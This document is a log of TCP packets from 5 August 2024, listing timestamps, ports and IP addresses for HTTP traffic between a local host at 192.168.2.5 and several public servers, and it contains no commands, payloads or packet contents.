Aug 5, 2024 11:59:10.546504021 CEST	49722	80	192.168.2.5	47.254.187.186
Aug 5, 2024 11:59:10.551798105 CEST	80	49722	47.254.187.186	192.168.2.5
Aug 5, 2024 11:59:10.551873922 CEST	49722	80	192.168.2.5	47.254.187.186
Aug 5, 2024 11:59:11.209618092 CEST	49728	80	192.168.2.5	8.218.87.7
Aug 5, 2024 11:59:11.209722996 CEST	49729	80	192.168.2.5	8.218.30.151
Aug 5, 2024 11:59:11.210728884 CEST	49730	80	192.168.2.5	47.242.126.205
Aug 5, 2024 11:59:11.210913897 CEST	49731	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:11.214721918 CEST	80	49728	8.218.87.7	192.168.2.5
Aug 5, 2024 11:59:11.214765072 CEST	80	49729	8.218.30.151	192.168.2.5
Aug 5, 2024 11:59:11.214845896 CEST	49729	80	192.168.2.5	8.218.30.151
Aug 5, 2024 11:59:11.214849949 CEST	49728	80	192.168.2.5	8.218.87.7
Aug 5, 2024 11:59:11.215074062 CEST	49729	80	192.168.2.5	8.218.30.151
Aug 5, 2024 11:59:11.215125084 CEST	49728	80	192.168.2.5	8.218.87.7
Aug 5, 2024 11:59:11.215522051 CEST	80	49730	47.242.126.205	192.168.2.5
Aug 5, 2024 11:59:11.215586901 CEST	49730	80	192.168.2.5	47.242.126.205
Aug 5, 2024 11:59:11.215677023 CEST	80	49731	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:11.215747118 CEST	49730	80	192.168.2.5	47.242.126.205
Aug 5, 2024 11:59:11.215747118 CEST	49731	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:11.215878963 CEST	49731	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:11.219877958 CEST	80	49729	8.218.30.151	192.168.2.5
Aug 5, 2024 11:59:11.220089912 CEST	80	49728	8.218.87.7	192.168.2.5
Aug 5, 2024 11:59:11.220577002 CEST	80	49730	47.242.126.205	192.168.2.5
Aug 5, 2024 11:59:11.220679998 CEST	80	49731	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:11.224662066 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:11.229557037 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:11.229630947 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:11.229831934 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:11.236181021 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.113102913 CEST	80	49731	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:12.113137007 CEST	80	49731	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:12.113153934 CEST	80	49731	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:12.113168955 CEST	80	49731	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:12.113184929 CEST	49731	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:12.113188028 CEST	80	49731	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:12.113219023 CEST	49731	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:12.119749069 CEST	49731	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:12.125238895 CEST	80	49731	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:12.125298977 CEST	49731	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:12.126800060 CEST	80	49729	8.218.30.151	192.168.2.5
Aug 5, 2024 11:59:12.126813889 CEST	80	49729	8.218.30.151	192.168.2.5
Aug 5, 2024 11:59:12.126861095 CEST	49729	80	192.168.2.5	8.218.30.151
Aug 5, 2024 11:59:12.142122030 CEST	80	49729	8.218.30.151	192.168.2.5
Aug 5, 2024 11:59:12.142138958 CEST	80	49729	8.218.30.151	192.168.2.5
Aug 5, 2024 11:59:12.142153025 CEST	80	49729	8.218.30.151	192.168.2.5
Aug 5, 2024 11:59:12.142184019 CEST	49729	80	192.168.2.5	8.218.30.151
Aug 5, 2024 11:59:12.154714108 CEST	80	49728	8.218.87.7	192.168.2.5
Aug 5, 2024 11:59:12.154737949 CEST	80	49728	8.218.87.7	192.168.2.5
Aug 5, 2024 11:59:12.154762030 CEST	80	49728	8.218.87.7	192.168.2.5
Aug 5, 2024 11:59:12.154778004 CEST	80	49728	8.218.87.7	192.168.2.5
Aug 5, 2024 11:59:12.154798985 CEST	80	49728	8.218.87.7	192.168.2.5
Aug 5, 2024 11:59:12.154804945 CEST	49728	80	192.168.2.5	8.218.87.7
Aug 5, 2024 11:59:12.154866934 CEST	49728	80	192.168.2.5	8.218.87.7
Aug 5, 2024 11:59:12.168075085 CEST	49728	80	192.168.2.5	8.218.87.7
Aug 5, 2024 11:59:12.170173883 CEST	80	49730	47.242.126.205	192.168.2.5
Aug 5, 2024 11:59:12.170188904 CEST	80	49730	47.242.126.205	192.168.2.5
Aug 5, 2024 11:59:12.170238018 CEST	49730	80	192.168.2.5	47.242.126.205
Aug 5, 2024 11:59:12.173275948 CEST	80	49728	8.218.87.7	192.168.2.5
Aug 5, 2024 11:59:12.173352003 CEST	49728	80	192.168.2.5	8.218.87.7
Aug 5, 2024 11:59:12.188865900 CEST	80	49730	47.242.126.205	192.168.2.5
Aug 5, 2024 11:59:12.188882113 CEST	80	49730	47.242.126.205	192.168.2.5
Aug 5, 2024 11:59:12.188899994 CEST	80	49730	47.242.126.205	192.168.2.5
Aug 5, 2024 11:59:12.188935995 CEST	49730	80	192.168.2.5	47.242.126.205
Aug 5, 2024 11:59:12.192044973 CEST	49729	80	192.168.2.5	8.218.30.151
Aug 5, 2024 11:59:12.231337070 CEST	80	49729	8.218.30.151	192.168.2.5
Aug 5, 2024 11:59:12.231450081 CEST	49729	80	192.168.2.5	8.218.30.151
Aug 5, 2024 11:59:12.236624002 CEST	80	49729	8.218.30.151	192.168.2.5
Aug 5, 2024 11:59:12.236680984 CEST	49729	80	192.168.2.5	8.218.30.151
Aug 5, 2024 11:59:12.238823891 CEST	49730	80	192.168.2.5	47.242.126.205
Aug 5, 2024 11:59:12.278866053 CEST	80	49730	47.242.126.205	192.168.2.5
Aug 5, 2024 11:59:12.278954029 CEST	49730	80	192.168.2.5	47.242.126.205
Aug 5, 2024 11:59:12.284392118 CEST	80	49730	47.242.126.205	192.168.2.5
Aug 5, 2024 11:59:12.284445047 CEST	49730	80	192.168.2.5	47.242.126.205
Aug 5, 2024 11:59:12.339903116 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.340044975 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.340061903 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.340101957 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.340127945 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.340142965 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:12.340142965 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:12.340143919 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.340159893 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.340178967 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.340188026 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:12.340194941 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.340214014 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.340250969 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:12.340251923 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:12.345122099 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.345187902 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.345232964 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:12.668348074 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.668389082 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.668406010 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.668421030 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.668437958 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.668452024 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:12.668504953 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:12.672230959 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.672285080 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.672310114 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.672322035 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:12.672327042 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.672343969 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.672358036 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.672368050 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:12.672374964 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:12.672411919 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:12.672411919 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:12.867721081 CEST	49733	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:12.873087883 CEST	80	49733	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:12.873167992 CEST	49733	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:12.873298883 CEST	49733	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:12.873315096 CEST	49733	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:12.878066063 CEST	80	49733	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:12.878194094 CEST	80	49733	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:13.002779961 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.002825022 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.002835989 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.002846956 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.002859116 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.002917051 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.003007889 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.003297091 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.003366947 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.003377914 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.003387928 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.003401995 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.003405094 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.003427982 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.003468037 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.004272938 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.004314899 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.004324913 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.004362106 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.004391909 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.007704973 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.091881990 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.145118952 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.289290905 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.289340973 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.289354086 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.289365053 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.289377928 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.289428949 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.289753914 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.289766073 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.289808989 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.289846897 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.289892912 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.289926052 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.289944887 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.289957047 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.289969921 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.289997101 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.290019035 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.290735960 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.290747881 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.290787935 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.377862930 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.426352024 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.566127062 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.566164017 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.566181898 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.566188097 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.566200018 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.566210985 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.566225052 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.566265106 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.566889048 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.566900969 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.566911936 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.566951036 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.566973925 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.566981077 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.566993952 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.567003965 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.567032099 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.567775965 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.567826986 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.567837954 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.567858934 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.567869902 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.567883015 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:13.567892075 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.567929983 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:13.831978083 CEST	80	49733	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:13.879447937 CEST	49733	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:14.048538923 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048568964 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048580885 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048593044 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048618078 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048630953 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048635006 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.048641920 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048655033 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048669100 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048687935 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048696995 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.048702002 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048716068 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048727989 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048736095 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.048741102 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048754930 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048765898 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048765898 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.048778057 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048785925 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.048789978 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048804998 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.048810005 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.048835039 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.048856974 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.049299955 CEST	80	49733	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:14.051275015 CEST	49733	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:14.222953081 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.222970963 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.222989082 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223001003 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223011971 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223025084 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223215103 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.223215103 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.223290920 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223320007 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223362923 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.223526955 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223548889 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223561049 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223603010 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.223638058 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223649979 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223663092 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223675966 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.223690987 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.223705053 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.224411011 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.224422932 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.224435091 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.224451065 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.224474907 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.224487066 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.224498987 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.224509954 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.224536896 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.270199060 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.545243979 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545284986 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545296907 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545308113 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545319080 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545331001 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.545342922 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545355082 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.545387983 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.545437098 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545449972 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545466900 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545478106 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545489073 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.545490026 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545501947 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545512915 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.545533895 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.545553923 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.546329975 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.546339989 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.546350002 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.546381950 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.546405077 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.546406984 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.546417952 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.546428919 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.546451092 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.546458006 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.546468019 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.546498060 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.547135115 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.547144890 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.547185898 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.815725088 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.815758944 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.815771103 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.815783978 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.815794945 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.815805912 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.815818071 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.815838099 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.815851927 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.815941095 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.815941095 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.815941095 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.816004038 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.816035986 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.816066027 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.816139936 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.816150904 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.816162109 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.816184044 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.816204071 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.816216946 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.816229105 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.816240072 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.816250086 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.816277981 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.816282988 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.816296101 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.816298008 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.816323996 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.817173004 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.817183971 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.817207098 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.817217112 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.817225933 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.817234993 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:14.817257881 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:14.863950014 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.122198105 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.122262001 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.122315884 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.122315884 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.122459888 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.122618914 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.122622967 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.122783899 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.122796059 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.122812986 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.122823000 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.122833967 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.122833967 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.122845888 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.122857094 CEST	80	49732	27.221.16.149	192.168.2.5
